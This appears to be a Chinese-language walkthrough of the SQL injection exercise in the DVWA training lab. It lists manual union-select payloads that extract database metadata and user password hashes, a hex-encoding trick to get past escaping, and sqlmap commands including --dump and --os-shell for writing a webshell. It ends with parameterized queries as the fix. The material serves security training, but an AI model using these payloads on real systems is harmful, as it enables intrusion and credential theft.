DVWA(六)—— SQL回显注入

概念

  • SQL注入:通过WEB程序在数据库里执行任意SQL语句
  • SQL回显注入:数据库的执行结果直接显示到页面上

准备

  • Firefox、DVWA、HackBar、SQLMAP

破解过程

low等级

手动方式

  1. 打开SQL回显注入页面,先尝试输入1查看查询结果
  2. 通过结果猜测SQL语句:select firstname,surname from xxx where id=我们输入的id
  3. 探测是否存在漏洞,输入1'出现了语法错误回显,说明漏洞存在
  4. 三种注入POC(验证性测试,Proof of Concept):
    变量不在引号中:1 or 1024=1024
    变量在单引号中:1' or '1024'='1024
    变量在双引号中:1" or "1024"="1024
  5. 一一尝试,发现变量是由单引号闭合的
  6. SQL注入中通常需要闭合,如果语句比较复杂,可以用注释符号闭合。MySQL中三种常见的注释符号:#、-- (注意–后的空格)、/**/
  7. 确定查询字段数:1' order by 1--order by是对某一列进行排序显示,通过二分法不断缩小范围最后确定字段数为2
  8. 确定回显点:xx' union select 1,2--union是对两次查询结果合并显示,结果中查看1,2的位置
  9. 查询数据库信息:xx' union select @@version,@@datadir--
    查询数据库和数据库名:xx' union select user(),database()--
    利用库名查询表名:xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'--
    利用表名查询列名:xx' union select 1,column_name from information_schema.columns where table_name='users'--
    利用列名查询用户名和密码:xx' union select user,password from users--
  10. 获取用户密码哈希,利用工具获取明文密码

写入WebShell

  • 通过故意构造错误的SQL语句引发异常,导致应用报错报出Web目录,然后将WebShell写入该位置

自动方式

  1. 使用SQLMAP,打开cmd进入sqlmap的目录,命令行输入sqlmap.py -u "DVWA的SQL注入页面输入1提交后的url" --cookie "security=low;PHPSESSID=dvbva40f4esmgsf75id4km1da3"(cookie由F12的存储获得),运行,漏洞就被挖掘出来了
  2.  -p    指定参数
     --current-user --current-db    当前用户和数据名
     -D dvwa --tables    查询表(注意大写)
     -D dvwa -T users --columns    查询列名
     -D dvwa -T users -C "user,password" --dump    查询用户名和密码
     -D dvwa -T users -C "user,password" --os-shell    写入WebShell
    

medium等级

手动方式

  1. low方法失效,单引号被转义了,使用:1 or 1024=1024
  2. 在查询列名时,会利用'DVWA',单引号会被转义,这里打开HackBar,Encoding,使用HEX编码,然后重新发包,成功绕过。

自动方式

  • 数据并不全在url中,使用--data存放post的数据

high等级

  • 页面变化,注入点和显示页不在同一页面上
  • 确定注入POC:和low相同,字符型注入,单引号

手动方式

  • 同上

自动方式

  • 因为注入点和返回点不在同一页面,参数--second-order指定返回页面

impossible等级

  • 检测了id数据类型,使用预编译绑定id变量,有效防止SQL注入

修复

  • 参数化SQL语句

你可能感兴趣的:(DVWA)